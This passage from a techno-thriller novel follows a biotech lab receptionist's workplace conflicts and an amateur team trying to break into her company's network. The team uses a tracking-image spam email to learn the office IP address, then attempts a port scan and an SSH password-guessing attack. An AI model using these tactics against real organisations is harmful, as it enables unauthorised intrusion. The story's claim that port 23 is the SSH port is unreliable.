Danny looked around. All the furniture was cleverly arranged to make the best possible use of the cabin's limited space. On one end of the room was a plasma TV and a desk with a laptop docking station. On the other end, he saw the table covered with rulebooks, figurines, and soda cans.

He instantly recognized the scene. He'd walked into a *Dungeons & Dragons* campaign.

“Aww Christ,” he moaned under his breath. He felt the revulsion and regret of a recovered heroin addict entering an opium den. This game, as far as Danny was concerned, was an equally egregious waste of life — a slightly more literal way to chase a dragon. “Jason,” he said, “can I talk to you?”

Jason wiggled his way from the table and crossed the compartment in a few steps. He and Danny turned away from the group and spoke in whispers.

“*This* is your hacker team?” asked Danny. “Where did you find these guys?”

“They’re my gaming group,” Jason said innocently. “We play every Thursday at the Wizards of the Coast store in Crossroads Mall.”

“You play *Dungeons & Dragons*? Aren’t you like sixty? Don’t you have a wife and kids and a life and stuff?”

Jason replied coldly, “My ex-wife is none of your business.”

“Sorry, didn’t mean to hit a sore spot. But, I mean, look at these guys. Do they have any skills? Do they even have real jobs?”

“They have my complete trust,” said Jason. “They’re smart, and they’re fully capable of getting the job done. You should see the kind of shit we’ve been able to pull off together. Just last month, we destroyed the stronghold of a Dark Elven necromancer.”

“Your *characters* did that. In your *head*. *You* sat around a table rolling dice and scarfing Cheetos.”

“Look, I know personnel management, alright?” Jason said. “What counts is whether or not you can work as a team. These guys are my comrades in arms. They’re in. Are you?”

Danny sighed. “Yeah.” He turned to face the group. The other three men were quietly poking through rulebooks or scribbling on papers. They looked up as he approached the table. “Guys. Good to meet you all.” They waved and murmured greetings in response. “My name’s Danny. I’m the lead engineer at... um... Let’s just say I’ve overseen the demise of plenty of small companies.”

He shook hands with each of them in turn.

“Satish Srinivasan. I do whitebox testing and assembly optimization in Microsoft’s Xbox division.”

“Moshen Chen. Web designer and developer. ASP.NET, Ruby on Rails, HTML 5, Angular, Closure, I do it all. You want a kick-ass website, I’m your man.”

“Mike Braun. I work at the Safeway on Queen Anne.” Danny stopped in mid-handshake. Mike added, “And I’m taking Cisco certification classes at Bellevue College. You know, network administration – router setup, mail servers, domain name registrars, packet monitoring, that kind of stuff.”

“And thinks wizards can cast *Cure Light Wounds*,” Satish interjected.

“Oh shut up already!” Mike insisted.

“Isn’t *Cure Light Wounds* a priest spell?” said Danny before he could stop himself.

“See!” said Satish, sticking his finger in Mike’s face.

“You play?” Jason asked Danny eagerly.

Danny shook his head. “Not since Second Edition.” That was a lie.

“You want to hop in?” offered Jason. “We have plenty of extra character sheets.”

Danny closed his eyes and sighed slowly. “Is there anything else I should know about you guys before we get started? Additional skills? Um... Attributes? Proficiencies? ”

“I play hockey!” Mike said proudly. “I can be your muscle if things get physical!”

“Yeah!” Moshen chimed in. “And I know kung fu!”

Danny eyed the men with a cocked eyebrow. “Hockey... and... kung fu...?”

DOPAMINE

From the hexagonal grid on the table, he picked up the two-inch pewter figurine of the barbarian. He stared at it for a few moments. It was painted with loving detail. He chuckled and shook his head.

“Guys, let me give you all a reality check. This is a network penetration mission. In an ideal world this’ll be done from some Internet café and take less than ten minutes. If they have a poorly maintained firewall that crumbles under a script-kiddie attack, this whole thing will be completely anticlimactic. Now clear off this table, gentlemen. Keep the pencils and notebooks. We’ve got work to do.”

DOPAMINE

5

THE ARM OF THE BIOTEK MICROPLATE STACKER descended smoothly along a groove in the machine's sleek white body. Between two metal pincers, it held a clear rectangular plate the size of a notebook. The plate's surface was pitted with a grid of small round wells, like a carton for hummingbird eggs. There were almost a hundred wells on the plate, and each one contained a small bubble of pale yellowish-brown fluid beneath an airtight plastic seal. The Bio-Stack's arm gently lowered the plate onto the motorized receiving bed of a Synergy Microplate Reader, which drew it into a small dark slot. Its payload deposited, the Stacker arm rose softly toward a vertical tower of identical plates, its pincers rotating to grab the next set of samples.

Tina Giordano batted a lock of her unkempt dark hair out of her eyes and focused on a computer terminal beside the Reader, trying to make sense of its contents. Both the machines and the software were several years old. The laboratory robots, whose polished contours and mechanical assemblies reminded Tina of mutant Xerox office printers, still moved with the grace and precision of young

automatons fresh off the assembly line. The software on the computer that controlled the devices, however, was showing its age. The screen's colors were just a little too coarse, its buttons and lettering just a little too blocky, to mistake it for modern electronics. True to the nature of a simple system trying to display complex data, the user interface was a maze of menus and tables.

Laboratory equipment whirled softly around her as she studied the console. Robotic arms loaded plates onto centrifuges, which spun with scarcely any vibration. Horizontal rollers fed plates through a machine with several pipette tips arranged in a row; as the thimble-sized wells rolled by, the tips trickled thin streams of fluid into them, like udders of a small mechanical cow. Gantries and belts carried plates among devices that heated the samples; cooled them; sealed them beneath plastic film; unsealed them; titrated fluids into them; aspirated fluids away; and affixed them with printed labels so that the humans in whose service the robots labored could do with the results what they willed.

On the far side of the laboratory, two white-coated figures stood beside a whiteboard, facing away from Tina. One was a man, the other a woman. Both were older than Tina by at least two decades. Over the gentle humming and clicking of the machinery, she could hear them talking in somber, flustered tones.

"Passinsky is getting seriously pissed," he said.

"He never gets pissed. He never gets anything," the woman replied.

"This is different. I think he's honest-to-God scared."

“Of what? Funding?”

“I think so,” he said. “He told Tungsten’s financial backers that we’d have results by now. They’re coming to see for themselves.”

“Yeah. We were supposed to have results a month ago. It doesn’t make sense. The Reader logs reported expression of the full pathway in one batch several weeks back.”

“The Reader’s been spewing out a lot of false positives,” he said with a frown.

“We’ve got over a week’s worth of backlog for the manual testing.”

“Isn’t that what the intern’s for? Where is she, anyway?”

“You haven’t heard? Julie’s gone AWOL. Nobody’s seen her in days.”

“Well... shit,” she said with a sigh. “Have the techs had a look at the Reader, then?”

“They’ve recalibrated it a dozen times,” he assured. “It hasn’t helped. It’s always been doing that, though. It’s never mattered before — it was just more busywork for the intern, no big deal. But if we have to run the verifications *ourselves* now...”

“Just how high of an error rate are we dealing with here?”

“Too high,” he replied. “Too damn high...”

They both turned to look at the machinery. The woman exclaimed, “Tina!?”

Tina jumped, and looked up apologetically from the console.

The woman stared at her with suspicion. “What are you doing at that workstation?”

For a moment, Tina began to sheepishly back away from the computer. But with a look at the screen, she decided to stand her ground. “Your reporter. You’re using gfp, right? Why wouldn’t you just use a selectable marker? CAT is standard for *E. coli*, isn’t it?”

The man mumbled, “The mother strain is already immune to chloramphenicol, Tina.”

“We already explained our design strategy to Passinsky,” the woman said. “We’re not going to explain it *again* to *you*.”

Tina looked at the plastic plates being passed back and forth by the robotic arms. “I just... I have a question,” she said innocently. “If you’re using gfp as a reporter, then that means you’re testing these assays for fluorescence, right?”

The woman rolled her eyes. “Yes, Tina. That’s what *green fluorescence protein* means.”

“So this microplate reader right here...” She pointed at the device. “Every time it gets a new plate, it shines a specific color of light on it, and uses very sensitive camera-type things below each well to check whether or not each assay is, like, ‘reflecting’ some other color of light back, so to speak. Right?”

The woman said sarcastically, “That is how fluorescence reading works.”

“Thanks. So, then, can you please explain to me...” She reached toward one of the stacks being tended by the machinery, and pulled forth an empty plate. She waved it in front of her face, looking at the two scientists through the clear plastic. “...why the hell you guys would use *transparent microplates*?”

The man shrugged. “The clear ones are cheap, Tina. We had a huge supply of them down in the stockroom.”

“Are they cheap enough to make it worth redoing a whole month of automated runs?” Tina retorted. “Because, in case you guys didn’t notice, light can shine from one well to another. Which means that, if one well is fluorescing really strongly, then the reader might pick up a little bit of light *in all of the wells next to it*, too.”

The man’s eyes widened. “Well-to-well crosstalk!”

“Exactly!” Tina nodded. “Which would lead to...”

The man put his palm over his face. “False positives. Tons and tons of false positives. Of course. We didn’t even think of something so basic...”

“Instead of reporting uptake in *one* sample,” said Tina, “the reader will report uptake in *nine* of them. So what you get is way more...”

The woman interrupted her, “What you get is way above your pay grade, Tina. You’re not even authorized to be in this lab!”

Tina’s jaw dropped. Angrily, she replied, “Really?”

The man said, “Tina, this is a restricted area. We work with scheduled substances here, not to mention volatile chemicals and potentially dangerous microorganisms...”

Tina replied, “I’m fully aware of what you work with here. I’m the one that mails out the OSHA forms, remember? And I know all your safety protocols because I’m the one that prints your memos...”

The woman sneered, “That’s great, but you’re not a scientist.”

The man nodded. “You really should be back at the front desk, Tina.”

Tina’s eyes drifted between the two microbiologists, the console, and the animated laboratory equipment around her. Ultimately, her gaze sank to the floor. Wordlessly, she shuffled out of the laboratory.

“Oh, and, Tina?” the man called out from behind her just as she reached the doorway. “Could you please put in a thousand-unit rush order for 96-well microplates in polystyrene clear-bottom carbon black? Thanks.”

TINA’S DESK OCCUPIED A BRIGHTLY LIT LOBBY between two sets of glass doors, both frosted with a large letter “W”, the chemical symbol for the element tungsten. Her black cardigan hung draped over her armless swivel chair. Like a pithed laboratory animal, she dropped her body limply down onto the pneumatic-spring seat and got back to work.

Several new email messages greeted her in her Thunderbird inbox. Only one, however, was in the least bit significant: a rare note of validation from her boss involving the imminent babysitting of some hotshot international gazillionaire.

```
From: "Dr. Piotr Passinsky"
> > Christina, have you finalized arrangements for
> > visiting investor? Remember this man is head of the
> > consortium that funds this company. He will be coming
> > with many assistants. Spare no expense.
>
> I booked reservations with the Medina Gallante hotel,
> Dr. P. Forwarding you the confirmation email...
>
> > From: "Medina Gallante Luxury Suites"
> > Thank you for choosing to stay at the Medina Gallante!
```

DOPAMINE

> > We are proud to offer our guests the finest upscale
> > accommodations in the Pacific Northwest.
> > Party name: IVAN ZHELEZNOV
> > Room assignment: PRESIDENTIAL SUITE
> > To make your travel experience as enjoyable as possible,
> > we offer the following enhanced transportation options
> > to and from our facilities.
> > * Helicopter chauffeur from Sea-Tac airport direct to
> > our rooftop helipad
> > * Water taxi from any Lake Washington marina to our
> > private pier
> > Please let us know if you wish to take advantage of these
> > amenities, or if there is any other way we can improve
> > your visit.
>
> Will this do, Dr. P?

Yes, Christina. This is very acceptable.

It wasn't exactly an Employee of the Year award, but Tina knew it was the closest thing to praise that she was likely to get.

The rest of the emails were pure spam. Several solicitations from some web design company called Prismatic Creations cluttered her inbox, each with a big colorful logo plastered across the top of the message. They gave some spiel about updating Tungsten's "corporate identity" to give the company a fresh look-and-

feel to better resonate with today's competitive blah blah blah. She opened a few of them to make sure there wasn't anything important that she was missing, and then deleted them all without a second thought.

With her inbox clear, she un-minimized her Facebook window. Her friend Natalie had posted some photos of a homemade dreamcatcher that she'd apparently woven from her own hair. Tina gave her scrollwheel a few flicks, and quickly sank into a status-update-reading trance. Seconds or hours drifted mindlessly by.

When duty finally called again, it took the form of a FedEx man appearing on the other side of the outer glass door. He carried a cardboard box the size of a suitcase. She buzzed him in, making a small green light just above the front door card-reader pop on for a few seconds.

The deliveryman dropped off the box on the floor next to her desk. It was from Newegg.com, and was addressed to Roger Tanner.

Tina cringed. Her throat filled with a taste like sour milk.

She reluctantly picked up her iPhone and willed her fingers to type out the text message, "Roger. Package for u. Come get."

She knew he would come in the next several minutes. She spent those minutes staring at the freshly arrived package, trying to wish it away.

The sound of raucous conversation from the hallway beyond the interior door foretold his arrival. Tina turned to look. Through the glass, she saw Roger's tall, lean-muscled form striding toward the lobby, accompanied by two older men. Framed by his spikey hair and narrow black-framed glasses, his face bore a confident, self-satisfied smirk as he bantered with them animatedly. He opened the door with a long, sinewy arm adorned with Celtic sleeve tattoos, and casually entered.

"I didn't say *a word*! That's the whole point!" he said cheerfully to his companions as he sauntered through the door.

"What, like, not even 'Hi?'" said one of the men beside him. He sported a neatly-trimmed beard and a lab coat. "You just walked up to her out of the blue and just, bam, the two of you start making out?"

"It wasn't out of the blue," said Roger. "We'd been eyeing each other across the bonfire for like ten minutes. We both knew what was up." His eyes landed on the package beside Tina's desk. He pulled a jingling keychain out of his back pocket and squatted beside the box. "She was there at the beach with a bunch of her friends," he continued as he carved the cardboard open with a key, "and we were all in the crowd around the fire. Alki Beach actually gets kinda cold at night, you know, and this little blond thing was wearing, like, *nothing* — like, a bikini bottom and half of a white t-shirt, right? Anyway, there was some guy on a bench nearby playing Spanish guitar, and someone was passing a joint around... I'm telling you, you guys have *got* to come out to Alki one of these nights."

The other man smiled warmly, creasing the corners of his eyes. He was heavy-set and sloppily dressed. “You forget we’re both married men, Roger. But it’s nice to see you kids having fun.”

With the box’s tape finally undone, Roger flipped open the top and reached inside with both hands. In a flurry of Styrofoam packing peanuts that drizzled all over Tina’s floor, he withdrew a dense black cube, slightly larger than a desktop computer and lined with slots, lights, and sockets.

The man in the white coat asked, “Is that the big fancy hard drive you’ve been promising us?”

Roger nodded excitedly as he examined the equipment. “It’s a ten-terabyte RAID. I think I can expand it to forty in a year. Think this’ll be enough storage space for you lab monkeys?”

The trim-bearded biologist smiled. “How soon can you connect it to the network?”

Roger stood up with the device in his hands. “I’ll set it up as a NAS this afternoon. But whether any of your weird-ass mad scientist toys can talk to it or not... Well, that’s up to Don here, right?”

The heavy-set man gave a salute-like gesture. “I’ll get my boys setting up NFS support on the robot controllers as soon as that thing’s ready.”

The biologist added with a chuckle, “Forty terabytes. Try not to fill it up with pictures of your girlfriends, Roger, okay?”

Roger enthusiastically replied, “Oh! Speaking of...!”

He set the RAID down on a corner of Tina’s desk, and pulled out his cellphone. He tapped its screen a few times and said, “This is the little hottie from the beach last night.”

The other two men gathered around the small screen and gave approving nods. “She’s a knockout, alright,” said the equipment technician. “What’s her name?”

Roger gave a wide, exaggerated shrug. “Oh, fuck if I know, man! Carrie? Kelly? Carley? Something like that.” He flipped through some more photos.

The technician commented, “Check it out. She’s got that thing with her fingernails...” He wiggled his own nicotine-stained fingers. “What’s it called? Where just the tips are white? There’s a word for it...”

The three of them looked back and forth at one another and shrugged.

Tina’s gaze remained unbroken from her screen. She had shrunk progressively farther down in her chair as the conversation had gone on; she now felt tiny enough to fit into a microplate well. Barely moving her lips, she murmured, “French manicure.”

“Yeah, that’s it!” the technician said.

Roger glanced at her. The corners of his smirking mouth drooped by millimeters. “Hey, um, guys...” he said as he put away his cellphone. “I’ll catch up with you both later, ‘kay?”

The two other men issued Roger their temporary goodbyes and disappeared back out the same glass door that had brought them in. Roger was left alone with Tina in the lobby.

“So...” he said, leaning awkwardly against her desk.

Without making eye contact, Tina asked coldly, “Can I help you?”

“What’s got ya down, buddy?” There was an acerbic edge to his voice.

Tina scowled. “Buddy,” she echoed in an exasperated whisper.

“Yeah, *buddy*,” Roger pressed. “You *said* you wanted to stay friends, right?”

Tina glared at him. “That doesn’t mean I want to listen to your stupid player conquests. I know you must be *real* proud of yourself, but you don’t have to rub it in my face.”

“Well. Friends *do* talk about stuff like that, you know,” he said with feigned nonchalance. “I mean, this would be the kind of stuff you’d gossip about with that weird fat-ass hippie friend of yours, right?”

“Don’t stand there dissing my BFF,” Tina growled.

“I’m not dissing her,” Roger said innocently. “I’m just pointing out the fact that she’s more batshit insane than all her patients put together. And if *she* got it on with a new guy, you two would chat about it, right?”

Tina rolled her eyes. “Among the *many* reasons why that comparison makes absolutely no sense whatsoever, probably the most important is the fact that, when Nat talks to me, she — gasp! — takes my feelings into account! Rog, you do realize it’s barely even been a week, right? Are you so inconsiderate that you can’t think of how your little pick-up tales sound to me? Or do you just have so little respect for me that you don’t even care?”

Roger’s face puckered. “Not everything is about you, you know.”

“That’s exactly the point!” Tina said, her voice rising. “You just kept chatting with your boy’s club over there as though I wasn’t right here the whole time. That’s how it always is with you. That’s how was for the whole six months we were together. You always act like I don’t even exist except when it’s convenient for you. Think about where I’m coming from for just one goddamned second, okay? I sit at this desk every single day writing emails and answering phones, when all I want is to be valued and considered a real part of the staff. And then you come along, and I thought we vibed and maybe you could relate... But it turns out you treat me worse than anyone else here!”

Roger's brow furrowed above his glasses. "Really, T? You're going to use me as a dumping-ground for all your bullshit frustrations about work and life and whatever? You realize you have, like, *no* credibility for being mad, right? *You* broke up with *me*, T. Remember?"

"*I* broke up with *you*? *You* said you wanted to see other people!" Tina fired back. Her voice had a shake that was half laughter, half whimper. "As a matter of fact, it turned out you'd already *been* seeing other people!"

"I was just saying we should have an open relationship," Roger said with a guiltless tone. "You're the one that decided that you wouldn't be down for it. So I really don't see where you think you have the right to be upset about anything."

Tina gulped down bile. "You... 'really don't see...?'" she repeated incredulously. "Seriously, Rog? Are you genuinely that oblivious to the possibility that you might not be the only person in the universe? Or are you just being obtuse?"

Roger said slowly, punctuating with his hands, "Okay, look. I am not a mind-reader. So when I say that I have no idea where you get off being so pissed about a relationship that *you* ended, it's *not* because I'm being 'obtuse'. It's because *you* aren't making any sense. It's because *you* are failing to *communicate*. And like you said, your *whole job* is to sit here and talk to people on the phone all day, so you'd think you'd know how to at least do *that*."

Tina's mind blanked with anger. She couldn't begin to count the number of dimensions on which Roger's comment hurt.

Her iPhone was the only small, hard object within arm's reach. She grabbed it and flung it at his stupid asshole face.

The iPhone cracked the left lens of his glasses on impact. She turned away from him with arms crossed tightly over her chest, her breathing uneven as she fought back tears. "Roger," she said, struggling to keep her voice steady through the lump forming in her throat, "take your box and get the fuck out of my lobby."

THE BLINDS ON THE WINDOWS TO DR. PASSINSKY'S OFFICE were closed. Going to the boss's office was never pleasant, and Roger's presence made it that much worse. She knew he'd be there. In the email that Passinsky sent to summon her, she saw Roger's email alias, "`rot13er`", in the "`To:`" line alongside her own address.

Passinsky, gaunt and gray, looked at her with his unnerving expressionless gaze as she walked through the door. His pale, glassy blue eyes focused with detachment, as though the people in front of him were merely elements of some mildly interesting puzzle.

"You asked to see me, Doctor P.?"

Roger sat in one of two small, narrow chairs in front of Passinsky's desk, still wearing the glasses with the crack down the lens. Tina closed the door behind her and took the other seat. The two of them avoided looking at each other.

Passinsky spoke with flat intonations, his English coming to him solely through practice and force of will. "I have to deal with personnel problems," he said gruffly. "It take time away from research. Research is interesting. Personnel problems are not."

Tina shrank in her seat, saying nothing.

"My biggest problem right now," he continued, "is with Julie. Have you seen her come into office in a last few days?"

"No, I don't think so. I don't think she's been here all week."

"Roger, have you checked is she reading her email?" Passinsky asked.

Roger shook his head. "Her account's had no recent activity, Dr. P."

"Is she okay?" asked Tina.

"I don't know," said Passinsky. "But it is very important for company to find her."

Roger looked bored. "She's an intern. How important can she be?"

"She was given very simple assignment," said Passinsky. "Very tedious, but very critical. She screwed it up. Now we need her to fix. Her timing is... very unfortunate. As Christina here can tell you, we have very important visitor

coming in few days. If this situation is not resolved, he will be very unhappy.” After a short pause, Passinsky added, “And this is not a man who you want to make unhappy.”

Tina offered, “Should I call Julie’s school and see if they’ve heard from her?”

“Yes,” said Passinsky. “And her family and friends. If you find her, tell her she must come to work tomorrow, and I take care of everything else. If you *don’t* find her, there is lots of paperwork for you to do.”

Tina looked down morosely. “What kind of paperwork, sir?”

“We have to end her employment,” said Passinsky. “That will mean filling out termination forms, filing payroll, writing notice to her university internship program. You will need to check what else.”

“Alright. If I don’t hear from her by end-of-day, I’ll fill out those forms tomorrow.”

Passinsky shook his head. “No. I want them on my desk when I walk into office.”

“Wait, what?” Tina said with a gulp.

“I will need to sign them and send them out first thing in a morning,” said Passinsky.

“But... I’ll have to stay late tonight to finish all that, Doctor P.”

Passinsky shrugged. "Either way, needs to be done."

Tina turned her face away from him, taking a moment to quietly grumble to herself.

"I would do it myself, really," Passinsky offered, "but I had to take time this afternoon to attend to another matter. Also is one I want to talk to the two of you about."

Roger mumbled, "You mean you have us here for something besides the Julie thing?"

"I do," said Passinsky. "Here is my issue. Neither of you is part of my research staff. So I do not expect you know these words: 'vasopressin' or 'oxytocin'..."

Tina knew the terms. They were hormones. She recalled that they both had something to do with sex. She didn't want to know where this was going.

"They are mammalian behavioral modulators for instincts of reproduction," said Passinsky. "Oxytocin is most active in adult females. It is linked to delirium of being 'in love'. It is released through erogenous stimulation of nipples and vaginal wall." Hearing the old scientist use those words made Tina press her knees tighter together. "There are theories that oxytocin potentiation of dopaminergic reward pathway gives it addictive properties, and loss could trigger withdrawal symptoms."

“Vasopressin drives sexual territoriality. It is hormone responsible for feelings of jealousy. Vasopressin is subject of some ongoing research, because in humans it can act on very indirect triggers. Rats, for example, get angry by smell of another rat on their mate — this is easy to explain by pheromones. Humans, though, somehow have aggression responses wired to symbolic processing, such as sound of spoken words. This means that human being can hear someone say something, and exhibit immediate hormonal response. Observe...”

There was a computer monitor on his desk. He turned it around to face them.

The screen showed a choppy-moving overhead view of Tina and Roger arguing in the reception area earlier that day. Their fight had been captured by the lobby’s security camera.

Tina flushed. She knew the security camera was there. There were probably dozens of them in the building. She never thought anybody actually looked at the footage.

“Now, watch this part,” said Passinsky. “At this moment, Roger says something, and...” The Tina on the screen threw her iPhone at the digital Roger. “Right there! Instinctual aggression in response to comprehension of sound waves as words conveying ideas — a very non-instinctual stimulus! Fascinating, no?”

Tina leaned forward and began stammering an apology.

Roger squirmed. “What’s your point, Doctor P.?”

Passinsky replied with a sudden sharpness. “My *point*, is that I am running here a research company! Not a high school full of children who do not control their hormones!”

Tina shrank in her chair. Roger cringed.

“You know what I took this job for?” Passinsky grumbled. “To do science. You know what I do all day instead? Paperwork. All the time paperwork. Payroll, taxes, insurance, performance reviews, and nonstop American legal bullshit. Now I have to spend time covering company’s ass over stupid lover spat! Listen. I don’t know what you two have going on. I do not *want* to know. None of my business. But you bring it to my business, you *make* it my business. Understand?”

Tina and Roger looked at him sheepishly.

“So now, we have two ways to take this. We can treat this as science matter, or as paperwork matter. How do you want to handle?”

Tina gave him a tiny shrug and shook her head uncertainly.

“As paperwork matter,” he explained, “I tell you that violence has no place in work environment. Then you sign this statement...” He passed her a pen and a printed page. “...saying that I spoke with you to ensure it won’t happen again, and that your action was as private matter between you and Roger and having no involvement with company.”

Tina murmured, “Is my staying late tonight some kind of punishment?”

“I do not punish, young lady!” Passinsky fired back. “This is simple logical consequence. Forms for Julie need to be done. I could have done them this afternoon. Instead, I had to take care of this. Do I make myself clear?”

Tina sighed. “Yeah.”

Roger looked at the form in Tina’s hands with contempt. “And what if we want to handle this as a ‘science matter’?”

“Ah! As science matter, is completely different,” said Passinsky, suddenly upbeat. “As science matter, we use this as opportunity to do in-vivo study of modulating effects of oxytocin and vasopressin on axonal projections from Broca’s area to limbic system.”

“Which means...?” asked Roger.

“Which means we put Christina’s head into stabilizing vise, open top of her skull to put under high-resolution cameras, and inject voltage-sensitive dye. Then you stand nearby and say things to make her angry, and we record which neurons activate.”

He stared at them patiently.

Tina blinked. “You... want to saw my skull open?”

DOPAMINE

“Well, yes,” Passinsky replied. “How else to see electrofluorescent dye?”

“This is a joke, right?” she said.

“Yes. Is a joke. Unless you agree. In which case I will stay late myself, to prepare experimental apparatus. And maybe take care of Julie’s forms myself while I am here. If you understand my meaning.”

Shaking her head, Tina signed the statement and steeled herself for a late night.

“Ah! That is what you choose?” Passinsky said with disappointment. “Too bad. I like doing science. I don’t like doing paperwork.”

DOPAMINE

6

“SEND, SEND, SEND!” Danny said eagerly. He watched a laptop over Moshen’s shoulder, angling himself to avoid the glare from the sunlight streaming in from the bohemian coffee shop’s windows.

Moshen gave a forceful flick on the touchpad. “Done! And now... we wait!”

Danny’s team sat at a cluster of tables at the B&O Espresso, between walls lined with brass clocks and framed vintage posters. The B&O made an ideal base of operations — it had power outlets, free WiFi access, and a menu of quadruple-shot chocolate lattes. Danny was already sugared and caffeinated to the point of nausea.

“What’d I miss?” asked Jason as he returned to the table, sliding his cellphone into his pocket. Mike and Satish sat with their respective laptops open, reading online manuals.

“We’ve gone phishing!” said Moshen.

“We’re trying to figure out Tungsten’s IP address,” Danny clarified.

“Is that something you can get from their website?” Jason asked.

Danny shook his head. “Their website isn’t served from their office. They use Rackspace as a hosting solution. If we trace the route from here to their website, we won’t find their office IP address; we’ll just find their third-party web service provider.”

“But you *can* see their website, right?” asked Jason. “I always thought that’s the first thing hackers go for.”

“Their website has nothing to hack,” Danny answered. “They have a very simple, primitive web page. You can’t even use it for buying anything. If they had a big, complicated modern site with shopping carts and user comment sections, it’d be a different story. But as it stands, it’s only a bunch of sales pitches, and some phone numbers and email addresses.”

“I see,” Jason said. “Those all go to their receptionist, by the way. I’ve already checked out all of Tungsten’s public contact information.”

Moshen asked, “All of Tungsten’s email addresses go to the same person?”

“The ones on the website, yeah,” said Jason. “Her name’s Christina. She’s their all-purpose office admin.”

“Does she like spam?” asked Moshen. “I just sent her some hot, juicy junkmail.”

Jason cocked an eyebrow. “What are you talking about?”

Danny explained, “About half an hour ago, Moshen and I hopped on GoDaddy.com and registered a new website. We called it ‘Prismatic Creations’, and made it look like a web design company. Then, we sent a few fake business solicitation emails to Tungsten. The trick is that, at the top of these emails, we added an image.”

“So what?” asked Jason.

“You ever get an email with pictures in it?” Danny said. “And your browser gives you a little warning bar that says, ‘Click here to see the images in this message.’? Well, those images aren’t actually part of the email itself. What the email contains are *references* to images somewhere else on the Internet. The image at the top of our junkmail comes from this website that we just built. And Moshen’s connected to the administrative back end of that website right now, watching connections come in.”

Jason’s brow furrowed. “So... when the office admin opens that email... her computer will automatically connect to your new website?”

“Right,” said Danny. “And her computer is at her desk, so the IP address that she’s connecting from will be Tungsten’s corporate headquarters.”

Satish, sitting near Mike a few feet away, chimed in. “You know the chances of this succeeding are slim to none, right? She’ll just delete the emails without opening them.”

Danny cocked his head. “Satish? Why so negative?”

“I’m just pointing out the obvious, Danny,” said Satish. “Remember, I’m a Microsoft SDET. I spend all day looking at people’s broken-ass software and writing reports to explain to them why it’s hopelessly flawed. I’m not being ‘negative’; I’m doing my job. And I’m telling you, if you think this email trick stands a chance of working...”

Moshen, with his eyes on his laptop screen, shot both thumbs excitedly up into the air. “It just did! We got a hit!”

Danny stuck his head over Moshen’s shoulder. “Guys! Check it out!” He turned Moshen’s laptop around. It displayed the text:

```
68.178.232.100 - - [20/Jul/2011:01:46:47 +0000] "GET /images/logo.gif?tracker=73567354756 HTTP/1.1" 200 1537 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090302 Thunderbird/3.0.0.21"
```


“She’s using the Mozilla Thunderbird mail reader on Windows XP,” Danny said. “Moshen, go cruise newsgroups and hacker forums; try to find any exploits or full disclosures. Satish, Thunderbird is open source, right? Check out the source code and see if you can find any weaknesses. Mike, you and I will try cracking through the firewall. Fire up Nessus and start probing.”

The group sprang to action. They rearranged their chairs and started typing furiously on their laptops.

Jason tried to keep up. “Is there anything I could be doing?” he asked.

“Yes,” said Danny. “Get us more lattes.”

DANNY NIBBLED ON HIS NAILS, his eyes affixed nervously to Mike’s screen. “Nothing’s getting through!” growled Mike. His large body hunched over his laptop, his thick fingers banging hard on the keyboard. “The SYN packets are just disappearing!”

“Did Tungsten go offline?” asked Danny. “Or did we?”

“No and no,” said Mike. “I can still reach Tungsten if I bounce through my school’s servers. It’s like something suddenly started blocking *our* connection to Tungsten’s servers — *specifically* our connection here at the coffee shop. It doesn’t make any sense...”

Satish saw their agitation. “What are you guys doing?”

“We ran a port scan,” Danny explained, his attention still on Mike’s screen.

“They’ve got port 23 open.”

Satish shrugged. “Yeah. The SSH port. So what?”

“So, we figured we’d crack our way through it,” Danny said.

“How?” Satish pressed.

“With SSHatter.”

Satish raised an eyebrow. “You own a botnet?”

Danny replied, “No, we just ran it on Mike’s laptop here.”

Satish paused for a few beats. “Please tell me you’re being sarcastic...”

“I suppose you have a better idea?” Danny replied.

“It’s hard to think of a *worse* idea,” Satish volleyed back.

Jason, returning to the tables with several cups of coffee, interjected himself into the budding fray. “Hey. Guys. Is there a personnel conflict I should know about?”

Satish quickly answered, “Yes, there is. Jason, where did you find this noob, and why did you think it’d be a good idea for him to be in charge?”

“Hey!” Danny barked. “What the hell, Satish? I’m standing right here!”

Jason said, calmly but firmly, “What’s going on, guys?”

Danny turned to Jason. “Have you ever heard of SSH?” Jason shook his head. “It stands for ‘Secure Shell’. It’s a remote login program. It’s a very common tool — system administrators use it so they can access their own systems in case of emergency. Most corporate-level computers have it installed by default.”

Jason nodded. “Like a back door for authorized personnel only, right?”

Satish nodded vigorously and said, “A heavily guarded back door. The connection is encrypted. You need the right username and password combination to open it.”

Danny added, “Which we were in the middle of trying to figure out...”

“Yeah, with SSHatter, on *one* host!” Satish scoffed.

Jason looked back and forth at them. “In English, please?”

Danny answered, “SSHatter is a program that performs something called a dictionary attack. It has a huge database of the most commonly used usernames and passwords. We rigged SSHatter to connect to Tungsten over and over again, as quickly as it can, using different common logins until we stumble across one that works.”

Satish quickly followed with, “Which is a complete dumbass approach! See, when a *real* hacker uses SSHatter, they do some preparation first. The number of different possible username and password combinations is astronomical, so they divide up the task across a botnet with thousands of zombie hosts. And even then, the process can take days, without any guarantee of success. If you try to run it on just *one* machine, you...”

“Yes, it could theoretically take *years*, I know,” Danny interrupted. “Look, I realized that the probability of success was low. Fine. But Mike and I figured it’s worth at least trying. It couldn’t hurt, right?”

Satish grimaced. “It most certainly *can* hurt! You just tripped their DenyHosts IPS, you clueless idiot!”

Danny’s eyes flew wide open. He gasped as he realized that Satish was right.

Jason prodded, “Their what? ‘DenyHosts IPS’?”

Danny, his face buried in his hands, mumbled through his palms, “Their Intrusion Prevention System.”

Satish said to Jason, “It’s another program that corporate servers use alongside SSH. It watches incoming network connections to detect potential hacker activity. And you know what it considers a giant red flag? When it sees the same machine connecting over and over again very quickly, trying lots of different logins.”

Danny sighed and looked down. “Yeah. So when Mike and I tried to use SSHatter...”

Satish finished for him, “You set off their alarm, and now your source IP address is blocked, so none of your connections are getting through. Right?”

Danny said nothing.

Satish shook his head incredulously. “Did you dumb shits seriously think you could crack your way in through SSH with a cheap script-kiddie tool you just downloaded? If a tool like that existed, do you have any idea what that would do to the entire Internet? Hell, system administrators have taken entire companies offline just because of *rumors* about a tool that could crack SSH like that! To think that *this* team of morons could pull off a...”

Jason intervened, “Yeah, Satish, maybe dial the insults down a notch? This isn’t a Dungeons and Dragons campaign. We’re all trying to solve a real challenge here.”

Satish shot back to Jason, “You think I don’t know that? You think I don’t know that this shit has real consequences? If anything gets traced back to us, we could all end up getting prosecuted. I’m here on a H1-B visa, and I refuse to get deported because of some cock-up on the part of this dimwit here who doesn’t know what the fuck he’s doing!”

